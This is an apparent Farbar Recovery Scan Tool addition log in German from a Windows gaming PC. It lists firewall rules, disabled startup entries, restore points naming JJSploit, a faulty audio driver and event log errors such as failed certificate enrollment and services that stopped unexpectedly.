AlternateDataStreams: C:\Users\wigla\Downloads\GeForce_Experience_v3.28.0.417.exe:MBAM.Zone.Identifier [163]
AlternateDataStreams: C:\Users\wigla\Downloads\VoicemodInstaller_1.1.29-0qtldv.exe:MBAM.Zone.Identifier [160]

==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ==================

==================== Verknüpfungen (Nicht auf der Ausnahmeliste) =================

==================== Internet Explorer (Nicht auf der Ausnahmeliste) =============


==================== Hosts Inhalt: =========================

(Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.)

2022-05-07 06:24 - 2022-05-07 06:22 - 000000824 _____ C:\WINDOWS\system32\drivers\etc\hosts

==================== Andere Bereiche ===========================

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)

HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\wigla\AppData\Roaming\Mozilla\Firefox\Desktop-Hintergrund.bmp
DNS Servers: 192.168.178.1
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
 ist aktiviert.

Network Binding:
=============
Ethernet: Intel(R) I211 Gigabit Network Connection -> e1r68x64.sys

==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge ==

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)

HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\StartupApproved\Run: => "AMDNoiseSuppression"
HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\...\StartupApproved\Run: => "Mod Menu"

==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

FirewallRules: [{4C7137B7-53A1-4464-8445-25E93290DDAC}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Little Nightmares\Atlas\Binaries\Win64\LittleNightmares.exe (Tarsier Studios) [Datei ist nicht signiert]
FirewallRules: [{43C6DF48-44EC-4FB7-B2B6-5036E3949D69}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Little Nightmares\Atlas\Binaries\Win64\LittleNightmares.exe (Tarsier Studios) [Datei ist nicht signiert]
FirewallRules: [UDP Query User{2209E0D0-AB55-41C2-8BA3-D28F6E70608F}C:\program files (x86)\steam\steamapps\common\aim lab\aimlab_tb_data\plugins\x86_64\vuplexwebviewchromium\vuplex webview.vuplex] => (Allow) C:\program files (x86)\steam\steamapps\common\aim lab\aimlab_tb_data\plugins\x86_64\vuplexwebviewchromium\vuplex webview.vuplex () [Datei ist nicht signiert]
FirewallRules: [TCP Query User{BB035B7C-C064-4728-A769-0A65CA60EB6C}C:\program files (x86)\steam\steamapps\common\aim lab\aimlab_tb_data\plugins\x86_64\vuplexwebviewchromium\vuplex webview.vuplex] => (Allow) C:\program files (x86)\steam\steamapps\common\aim lab\aimlab_tb_data\plugins\x86_64\vuplexwebviewchromium\vuplex webview.vuplex () [Datei ist nicht signiert]
FirewallRules: [UDP Query User{20249F35-2BC9-4930-9035-70955CCA2EBB}C:\program files (x86)\steam\steamapps\common\unloved\unloved\binaries\win32\unloved-win32-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\unloved\unloved\binaries\win32\unloved-win32-shipping.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [TCP Query User{4B8552D4-BD36-4573-8C1E-DCF31562EB70}C:\program files (x86)\steam\steamapps\common\unloved\unloved\binaries\win32\unloved-win32-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\unloved\unloved\binaries\win32\unloved-win32-shipping.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [{632E8B7B-789B-434F-9C5C-4A8304BCC27B}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\UNLOVED\Unloved.exe () [Datei ist nicht signiert]
FirewallRules: [{3D6A94CF-F731-47F0-B8A8-51078039513E}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\UNLOVED\Unloved.exe () [Datei ist nicht signiert]
FirewallRules: [UDP Query User{B0BAD0A3-22AE-466B-8DD3-61BCFE366966}C:\program files (x86)\epic games\launcher\engine\binaries\win64\epicwebhelper.exe] => (Allow) C:\program files (x86)\epic games\launcher\engine\binaries\win64\epicwebhelper.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [TCP Query User{CAC84451-37A7-45FC-8FB1-0FBFC96B9BE8}C:\program files (x86)\epic games\launcher\engine\binaries\win64\epicwebhelper.exe] => (Allow) C:\program files (x86)\epic games\launcher\engine\binaries\win64\epicwebhelper.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [UDP Query User{89DB5746-A4EB-44B8-A47F-0938FB1524AB}C:\program files\epic games\fortnite\engine\binaries\win64\epicwebhelper.exe] => (Block) C:\program files\epic games\fortnite\engine\binaries\win64\epicwebhelper.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [TCP Query User{A97EF06B-7C5E-4828-80D8-B5EE2B1A1A12}C:\program files\epic games\fortnite\engine\binaries\win64\epicwebhelper.exe] => (Block) C:\program files\epic games\fortnite\engine\binaries\win64\epicwebhelper.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [UDP Query User{365E2189-5BC1-40B8-B8D4-3D8469110671}C:\program files (x86)\steam\steamapps\common\hello neighbor\helloneighbor\binaries\win64\helloneighbor-win64-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\hello neighbor\helloneighbor\binaries\win64\helloneighbor-win64-shipping.exe (tinyBuild Games) [Datei ist nicht signiert]
FirewallRules: [TCP Query User{F0FC2FC6-C9AC-4C6E-B1C1-1F76DAE7750B}C:\program files (x86)\steam\steamapps\common\hello neighbor\helloneighbor\binaries\win64\helloneighbor-win64-shipping.exe] => (Allow) C:\program files (x86)\steam\steamapps\common\hello neighbor\helloneighbor\binaries\win64\helloneighbor-win64-shipping.exe (tinyBuild Games) [Datei ist nicht signiert]
FirewallRules: [{874F761A-65EB-4106-A345-EBA19B5093B0}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Hello Neighbor\HelloNeighbor.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [{BF36F484-E2D4-4EEC-A1DC-180A1756FA26}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Hello Neighbor\HelloNeighbor.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [{AB309F33-D671-4B61-A3E9-83C258F9F62B}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\The Crew 2\TheCrew2.exe (UBISOFT ENTERTAINMENT INC. -> UBISoft)
FirewallRules: [{CE3A12FE-8E18-4F77-AAB2-689AE4E00723}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\The Crew 2\TheCrew2.exe (UBISOFT ENTERTAINMENT INC. -> UBISoft)
FirewallRules: [{0980B0E0-ECB2-4F3A-BD23-9BA8F67C2DC1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Deadlock\game\bin\win64\project8.exe (Valve Corp. -> )
FirewallRules: [{CCC32911-B92F-4259-B0CF-30CBA13908D7}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Deadlock\game\bin\win64\project8.exe (Valve Corp. -> )
FirewallRules: [UDP Query User{2BD2B9EA-534F-4B46-B170-DD3E3AD84B3A}C:\riot games\riot client\riotclientelectron\riot client.exe] => (Allow) C:\riot games\riot client\riotclientelectron\riot client.exe (Riot Games, Inc. -> Riot Games, Inc.)
FirewallRules: [TCP Query User{9ED3CCBC-2D6D-4CBD-BA3D-B4D896AF4D0A}C:\riot games\riot client\riotclientelectron\riot client.exe] => (Allow) C:\riot games\riot client\riotclientelectron\riot client.exe (Riot Games, Inc. -> Riot Games, Inc.)
FirewallRules: [{F95C0476-DAD5-4309-BE35-D08D9DD003C5}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Aim Lab\AimLab_tb.exe () [Datei ist nicht signiert]
FirewallRules: [{ECB8673B-7121-4EDA-A8A8-6CB64F0DC235}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Aim Lab\AimLab_tb.exe () [Datei ist nicht signiert]
FirewallRules: [{FC91F0F0-6221-4935-9905-0D4EC163B820}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Content Warning\Content Warning.exe () [Datei ist nicht signiert]
FirewallRules: [{291B62A8-B99F-43CE-BA9E-954E61D904EA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Content Warning\Content Warning.exe () [Datei ist nicht signiert]
FirewallRules: [{ECDB1E0D-ADF4-4A3E-ACB8-300180C2D7C4}] => (Allow) c:\program files\txgameassistant\appmarket\GF186\TUpdate.exe (Tencent Technology(Shenzhen) Company Limited -> Tencent)
FirewallRules: [{1FEB23C5-3414-4B42-9B70-345AC359786A}] => (Allow) c:\program files\txgameassistant\appmarket\GameDownload.exe (Tencent Technology(Shenzhen) Company Limited -> Tencent)
FirewallRules: [{6789244E-2420-46F6-8FF0-78C69AC33833}] => (Allow) c:\program files\txgameassistant\appmarket\QQExternal.exe (Tencent Technology(Shenzhen) Company Limited -> )
FirewallRules: [{94403D87-E0F1-4A25-80C8-F587C2CA0C81}] => (Allow) c:\program files\txgameassistant\appmarket\bugreport.exe (Tencent Technology(Shenzhen) Company Limited -> )
FirewallRules: [{6ADAE913-6FB6-47DC-A709-A16D3DA307A4}] => (Allow) c:\program files\txgameassistant\appmarket\TInst.exe (Tencent Technology(Shenzhen) Company Limited -> )
FirewallRules: [{E601CD79-C12B-4465-9C69-211C79BF0F6C}] => (Allow) c:\program files\txgameassistant\appmarket\AppMarket.exe (Tencent Technology(Shenzhen) Company Limited -> Tencent)
FirewallRules: [{27650600-8D32-4D3A-99AF-EC4A06D97B55}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Poppy Playtime\PlaytimeLauncher\PlaytimeLauncher.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [{BACE99DA-8979-42DE-B3D0-DD37FAF1A398}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Poppy Playtime\PlaytimeLauncher\PlaytimeLauncher.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [{E3AF1E09-10A4-4EC8-92EB-5DC4AC53B8E2}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\The Long Drive\TheLongDrive.exe () [Datei ist nicht signiert]
FirewallRules: [{5C6B1A02-4E42-421B-B884-F27380670E6D}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\The Long Drive\TheLongDrive.exe () [Datei ist nicht signiert]
FirewallRules: [UDP Query User{7220EB16-A86A-469A-ADE3-AE2B15EC7049}C:\program files (x86)\steam\steamapps\common\zookeepersimulator\zookeepersimulator\binaries\win64\zookeepersimulator-win64-shipping.exe] => (Block) C:\program files (x86)\steam\steamapps\common\zookeepersimulator\zookeepersimulator\binaries\win64\zookeepersimulator-win64-shipping.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [TCP Query User{6D4A5FDD-1018-4E6D-A3D6-4F88CD639180}C:\program files (x86)\steam\steamapps\common\zookeepersimulator\zookeepersimulator\binaries\win64\zookeepersimulator-win64-shipping.exe] => (Block) C:\program files (x86)\steam\steamapps\common\zookeepersimulator\zookeepersimulator\binaries\win64\zookeepersimulator-win64-shipping.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [{CA3EAD43-1DF9-4D3C-8B2D-48B714B5AB94}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\ZooKeeperSimulator\ZooKeeperSimulator.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [{C28C7F7A-52A7-4D3B-9AF0-151F82281523}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\ZooKeeperSimulator\ZooKeeperSimulator.exe (Epic Games, Inc.) [Datei ist nicht signiert]
FirewallRules: [{E5C35848-0A03-4479-9A2C-A0511246422B}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Wobbly Life\Wobbly Life.exe () [Datei ist nicht signiert]
FirewallRules: [{B723B7C1-F45C-4329-9DA8-4C86E248C903}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Wobbly Life\Wobbly Life.exe () [Datei ist nicht signiert]
FirewallRules: [UDP Query User{327E7652-0DEE-4ACE-B0F8-7096C012C04D}C:\program files\epic games\fortnite\fortnitegame\binaries\win64\fortniteclient-win64-shipping.exe] => (Block) C:\program files\epic games\fortnite\fortnitegame\binaries\win64\fortniteclient-win64-shipping.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [TCP Query User{B382FEA3-0738-4301-99D0-DEC7F040FCFA}C:\program files\epic games\fortnite\fortnitegame\binaries\win64\fortniteclient-win64-shipping.exe] => (Block) C:\program files\epic games\fortnite\fortnitegame\binaries\win64\fortniteclient-win64-shipping.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [UDP Query User{9A9C2154-5825-42E2-ACB5-BA59ABDADEED}C:\program files\epic games\rocketleague\binaries\win64\rocketleague.exe] => (Block) C:\program files\epic games\rocketleague\binaries\win64\rocketleague.exe (Psyonix, LLC -> Psyonix, LLC)
FirewallRules: [TCP Query User{23CC3BF9-DE63-4B73-B3AD-C22A5A38F4C1}C:\program files\epic games\rocketleague\binaries\win64\rocketleague.exe] => (Block) C:\program files\epic games\rocketleague\binaries\win64\rocketleague.exe (Psyonix, LLC -> Psyonix, LLC)
FirewallRules: [{877B06FF-390B-4CC8-8F4A-1A289331772D}] => (Allow) C:\Users\wigla\AppData\Local\Packages\B9ECED6F.ArmouryCrate_qmba6cd70vzyy\LocalState\GridUpdateFile\ASUSGCDriverUpdateClient.exe (ASUSTeK COMPUTER INC. -> ASUSTeK Computer Inc.)
FirewallRules: [{BA6D1090-E9D1-41DB-8320-0126F58E1344}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe (Valve Corp. -> Valve Corporation)
FirewallRules: [{97AB5679-CF8D-4E5F-AEFF-E2CDFBF7DC2F}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe (Valve Corp. -> Valve Corporation)
FirewallRules: [{F5C90001-E224-40FE-B773-34444A4EEF8B}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe (Valve Corp. -> Valve Corporation)
FirewallRules: [{2CAAF5FE-8EDC-4ADF-9EB2-22DB8BEA74DD}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe (Valve Corp. -> Valve Corporation)
FirewallRules: [{BFE95781-BA74-44DF-8908-78F4FB02B04B}] => (Allow) C:\program files\asus\aacambienthal\aacambientlighting.exe (ASUSTeK COMPUTER INC. -> )
FirewallRules: [{2A58BEC7-29CC-42C2-B7AC-D8684B2511C1}] => (Allow) C:\Program Files\ASUS\AacAmbientHal\AacAmbientLighting.exe (ASUSTeK COMPUTER INC. -> )
FirewallRules: [{AEB390BF-41BA-4E44-BDC9-CE9CBA197FF6}] => (Allow) C:\Users\wigla\AppData\Local\Temp\ACFL\ACSetup\ACSetup.exe => Keine Datei
FirewallRules: [{F8682749-6C56-4382-AAED-FCE1454BBDC4}] => (Allow) C:\Users\wigla\AppData\Local\Temp\ACFL\ACSetup\ACSetup.exe => Keine Datei
FirewallRules: [{8ACAE59A-C9C9-4996-85A7-E346E8732795}] => (Allow) C:\Program Files\Mozilla Firefox\firefox.exe (Mozilla Corporation -> Mozilla Corporation)
FirewallRules: [{A4AE8D12-56FB-4EEE-8594-C7AB430CB1F8}] => (Allow) C:\Program Files\Mozilla Firefox\firefox.exe (Mozilla Corporation -> Mozilla Corporation)
FirewallRules: [{F066EB87-2034-4D04-866E-5A8C65F31A4A}] => (Allow) C:\Program Files\WindowsApps\MSTeams_24295.605.3225.8804_x64__8wekyb3d8bbwe\ms-teams.exe (Microsoft Corporation -> Microsoft Corporation)
FirewallRules: [{970FE892-2FB3-46D6-9535-94C38EF869C1}] => (Allow) C:\Program Files\WindowsApps\MSTeams_24295.605.3225.8804_x64__8wekyb3d8bbwe\ms-teams.exe (Microsoft Corporation -> Microsoft Corporation)
FirewallRules: [TCP Query User{C67296D0-BF1B-445E-B335-F2FC9D233167}C:\program files (x86)\epic games\launcher\portal\binaries\win64\epicgameslauncher.exe] => (Block) C:\program files (x86)\epic games\launcher\portal\binaries\win64\epicgameslauncher.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [UDP Query User{3CC6CE03-89C4-45D1-906A-10A34868BF71}C:\program files (x86)\epic games\launcher\portal\binaries\win64\epicgameslauncher.exe] => (Block) C:\program files (x86)\epic games\launcher\portal\binaries\win64\epicgameslauncher.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [TCP Query User{776F6CE4-B395-4CA4-8800-1CA9CA6C1AC9}C:\users\wigla\appdata\local\unrealengine\common\unrealtrace\bin\00010014\unrealtraceserver.exe] => (Block) C:\users\wigla\appdata\local\unrealengine\common\unrealtrace\bin\00010014\unrealtraceserver.exe (Epic Games Inc. -> Epic Games)
FirewallRules: [UDP Query User{EBF03481-823F-4A79-80C9-3A261E8B52C1}C:\users\wigla\appdata\local\unrealengine\common\unrealtrace\bin\00010014\unrealtraceserver.exe] => (Block) C:\users\wigla\appdata\local\unrealengine\common\unrealtrace\bin\00010014\unrealtraceserver.exe (Epic Games Inc. -> Epic Games)
FirewallRules: [TCP Query User{541E4B26-AA37-45C4-A0F7-65E83656A0E0}C:\program files\epic games\ue_5.4\engine\binaries\win64\unrealeditor.exe] => (Block) C:\program files\epic games\ue_5.4\engine\binaries\win64\unrealeditor.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [UDP Query User{94F895F9-6094-4CC9-A5A4-A59BA111B8D1}C:\program files\epic games\ue_5.4\engine\binaries\win64\unrealeditor.exe] => (Block) C:\program files\epic games\ue_5.4\engine\binaries\win64\unrealeditor.exe (Epic Games Inc. -> Epic Games, Inc.)
FirewallRules: [{41274B29-CA1B-4470-8AEB-2FB73C72161D}] => (Allow) C:\Program Files\ASUS\ROG Live Service\ROGLiveService.exe (ASUSTeK COMPUTER INC. -> ASUSTek COMPUTER INC.)
FirewallRules: [{BDD7B13F-7955-4B52-9978-779C8C5C4D15}] => (Allow) C:\Program Files\ASUS\ROG Live Service\ROGLiveService.exe (ASUSTeK COMPUTER INC. -> ASUSTek COMPUTER INC.)
FirewallRules: [{E579C5B8-3253-4F32-BBA1-CD3A5A777B5A}] => (Allow) C:\Program Files (x86)\ASUS\ArmouryDevice\asus_framework.exe (ASUSTeK COMPUTER INC. -> ASUSTeK COMPUTER INC.)
FirewallRules: [{9BA2C92A-4CD0-4E5D-A335-6483FDEC989E}] => (Allow) C:\Program Files (x86)\ASUS\ArmouryDevice\dll\ArmourySocketServer\ArmourySocketServer.exe (ASUSTeK COMPUTER INC. -> ASUS)
FirewallRules: [{1D4022D4-21FC-43D0-A79C-C4C035CB3E0D}] => (Allow) C:\Program Files (x86)\ASUS\ArmouryDevice\dll\ArmourySocketServer\ArmouryHtmlDebugServer.exe (ASUSTeK COMPUTER INC. -> ASUS)
FirewallRules: [{799884AC-3DBD-4F1A-9226-7B9775486FAC}] => (Allow) C:\Program Files (x86)\Microsoft\EdgeWebView\Application\131.0.2903.146\msedgewebview2.exe (Microsoft Corporation -> Microsoft Corporation)
FirewallRules: [{33C5D39C-F456-4BEF-949D-51372EBCBB75}] => (Allow) C:\Program Files\Voicemod V3\Voicemod.exe (VOICEMOD, INC. SUCURSAL EN ESPAÑA -> Voicemod Inc.)
FirewallRules: [{97F3B4EE-076F-452E-B322-9F0B87244780}] => (Allow) C:\Users\wigla\AppData\Local\VoicemodV3\app\last\Voicemod.exe (VOICEMOD, INC. SUCURSAL EN ESPAÑA -> Voicemod Inc., Sucursal en España)
FirewallRules: [{DD92E831-D89A-43E6-8F49-2ED0AC95DB8F}] => (Allow) C:\Program Files\Voicemod V3\Voicemod.exe (VOICEMOD, INC. SUCURSAL EN ESPAÑA -> Voicemod Inc.)
FirewallRules: [{52C38998-8F76-4D3F-84E3-1586C2148B3B}] => (Allow) C:\Users\wigla\AppData\Local\VoicemodV3\app\last\Voicemod.exe (VOICEMOD, INC. SUCURSAL EN ESPAÑA -> Voicemod Inc., Sucursal en España)
FirewallRules: [{0d27ccc0-d702-4fb5-b953-d278d7154a88}] => (Allow) C:\Program Files\ldplayer9box\Ld9BoxHeadless.exe => Keine Datei
FirewallRules: [{1d86223d-70e0-4733-9648-33178197d18c}] => (Allow) C:\Program Files\ldplayer9box\VBoxNetNAT.exe => Keine Datei
FirewallRules: [{f83d3acb-4726-471f-9c48-db50f115117e}] => (Allow) C:\LDPlayer\LDPlayer9\dnplayer.exe => Keine Datei

==================== Wiederherstellungspunkte =========================

17-01-2025 20:04:46 Removed JJSploit
18-01-2025 21:42:36 Installed JJSploit

==================== Fehlerhafte Geräte im Gerätemanager ============
Name: Sonic Studio Virtual Mixer
Description: Sonic Studio Virtual Mixer
Class Guid: {4d36e96c-e325-11ce-bfc1-08002be10318}
Manufacturer: Nahimic
Service: AVoluteSS3Vad
Problem: : Windows cannot initialize the device driver for this hardware. (Code 37)
Resolution: The driver returned failure from its DriverEntry routine. Uninstall the driver, and then click "Scan for hardware changes" to reinstall or upgrade the driver.


==================== Fehlereinträge in der Ereignisanzeige: ========================

Applikationsfehler:
==================
Error: (01/21/2025 09:51:52 AM) (Source: CertEnroll) (EventID: 86) (User: NT-AUTORITÄT)
Description: Fehler bei der Initialisierung der SCEP-Zertifikatregistrierung für WORKGROUP\EMIL$ über https://AMD-KeyId-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net/templates/Aik/scep:

GetCACaps
GetCACaps: Not Found
{"Message":"The authority \"amd-keyid-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net\" does not exist."}
HTTP/1.1 404 Not Found
Date: Tue, 21 Jan 2025 08:51:24 GMT
Content-Length: 121
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000;includeSubDomains
x-ms-request-id: c943d653-a54d-4261-b4e8-2296682aca99

Methode: GET(204ms)
Phase: GetCACaps
Nicht gefunden (404). 0x80190194 (-2145844844 HTTP_E_STATUS_NOT_FOUND)

Error: (01/21/2025 09:51:50 AM) (Source: CertEnroll) (EventID: 86) (User: NT-AUTORITÄT)
Description: Fehler bei der Initialisierung der SCEP-Zertifikatregistrierung für WORKGROUP\EMIL$ über https://AMD-KeyId-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net/templates/Aik/scep:

GetCACaps
GetCACaps: Not Found
{"Message":"The authority \"amd-keyid-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net\" does not exist."}
HTTP/1.1 404 Not Found
Date: Tue, 21 Jan 2025 08:51:22 GMT
Content-Length: 121
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000;includeSubDomains
x-ms-request-id: 838ab31d-87e0-4b71-920d-4072cffe27f5

Methode: GET(203ms)
Phase: GetCACaps
Nicht gefunden (404). 0x80190194 (-2145844844 HTTP_E_STATUS_NOT_FOUND)

Error: (01/21/2025 09:51:50 AM) (Source: CertEnroll) (EventID: 86) (User: NT-AUTORITÄT)
Description: Fehler bei der Initialisierung der SCEP-Zertifikatregistrierung für Lokales System über https://AMD-KeyId-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net/templates/Aik/scep:

GetCACaps
GetCACaps: Not Found
{"Message":"The authority \"amd-keyid-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net\" does not exist."}
HTTP/1.1 404 Not Found
Date: Tue, 21 Jan 2025 08:51:22 GMT
Content-Length: 121
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000;includeSubDomains
x-ms-request-id: 910f5337-304b-49a5-a92e-153c6043eb1c

Methode: GET(609ms)
Phase: GetCACaps
Nicht gefunden (404). 0x80190194 (-2145844844 HTTP_E_STATUS_NOT_FOUND)

Error: (01/20/2025 09:00:48 PM) (Source: VSS) (EventID: 13) (User: )
Description: Volumenschattenkopie-Dienst-Informationen: Der COM-Server mit CLSID {4e14fba2-2e22-11d1-9964-00c04fbbb345} und dem Namen "CEventSystem" kann nicht gestartet werden. [0x8007045b, Der Computer wird heruntergefahren.]

Error: (01/20/2025 04:30:54 PM) (Source: CertEnroll) (EventID: 86) (User: NT-AUTORITÄT)
Description: Fehler bei der Initialisierung der SCEP-Zertifikatregistrierung für WORKGROUP\EMIL$ über https://AMD-KeyId-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net/templates/Aik/scep:

GetCACaps
GetCACaps: Not Found
{"Message":"The authority \"amd-keyid-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net\" does not exist."}
HTTP/1.1 404 Not Found
Date: Mon, 20 Jan 2025 15:30:28 GMT
Content-Length: 121
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000;includeSubDomains
x-ms-request-id: 79ab8525-a019-472d-ab4c-642e6d96104e

Methode: GET(219ms)
Phase: GetCACaps
Nicht gefunden (404). 0x80190194 (-2145844844 HTTP_E_STATUS_NOT_FOUND)

Error: (01/20/2025 04:30:53 PM) (Source: CertEnroll) (EventID: 86) (User: NT-AUTORITÄT)
Description: Fehler bei der Initialisierung der SCEP-Zertifikatregistrierung für WORKGROUP\EMIL$ über https://AMD-KeyId-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net/templates/Aik/scep:

GetCACaps
GetCACaps: Not Found
{"Message":"The authority \"amd-keyid-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net\" does not exist."}
HTTP/1.1 404 Not Found
Date: Mon, 20 Jan 2025 15:30:28 GMT
Content-Length: 121
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000;includeSubDomains
x-ms-request-id: 0fc0cd08-2112-400e-93fa-fa02f5c717d2

Methode: GET(250ms)
Phase: GetCACaps
Nicht gefunden (404). 0x80190194 (-2145844844 HTTP_E_STATUS_NOT_FOUND)

Error: (01/20/2025 04:30:53 PM) (Source: CertEnroll) (EventID: 86) (User: NT-AUTORITÄT)
Description: Fehler bei der Initialisierung der SCEP-Zertifikatregistrierung für Lokales System über https://AMD-KeyId-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net/templates/Aik/scep:

GetCACaps
GetCACaps: Not Found
{"Message":"The authority \"amd-keyid-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net\" does not exist."}
HTTP/1.1 404 Not Found
Date: Mon, 20 Jan 2025 15:30:27 GMT
Content-Length: 121
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000;includeSubDomains
x-ms-request-id: e52c5b39-e2fe-4f15-b62a-ebb26e7460b2

Methode: GET(250ms)
Phase: GetCACaps
Nicht gefunden (404). 0x80190194 (-2145844844 HTTP_E_STATUS_NOT_FOUND)

Error: (01/20/2025 04:29:07 PM) (Source: CertEnroll) (EventID: 86) (User: NT-AUTORITÄT)
Description: Fehler bei der Initialisierung der SCEP-Zertifikatregistrierung für WORKGROUP\EMIL$ über https://AMD-KeyId-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net/templates/Aik/scep:

GetCACaps
GetCACaps: Not Found
{"Message":"The authority \"amd-keyid-907d65e9b562315997dd5ad086b2b7598957b92c.microsoftaik.azure.net\" does not exist."}
HTTP/1.1 404 Not Found
Date: Mon, 20 Jan 2025 15:28:42 GMT
Content-Length: 121
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000;includeSubDomains
x-ms-request-id: 17a7f930-ca28-43b8-80db-72767115d812

Methode: GET(203ms)
Phase: GetCACaps
Nicht gefunden (404). 0x80190194 (-2145844844 HTTP_E_STATUS_NOT_FOUND)


Systemfehler:
=============
Error: (01/20/2025 04:30:02 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "Steam Client Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.

Error: (01/20/2025 04:30:02 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "FileSyncHelper" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.

Error: (01/20/2025 04:30:02 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: Der Dienst "Windows-Sicherheitsdienst" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 60000 Millisekunden durchgeführt: Neustart des Diensts.

Error: (01/20/2025 04:30:01 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: Der Dienst "Razer Synapse Service" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 0 Millisekunden durchgeführt: Aufführung des konfigurierten Wiederherstellungsp.

Error: (01/20/2025 04:30:01 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: Der Dienst "Windows Search" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 30000 Millisekunden durchgeführt: Neustart des Diensts.

Error: (01/20/2025 04:30:01 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: Dienst "Gaming Services" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.

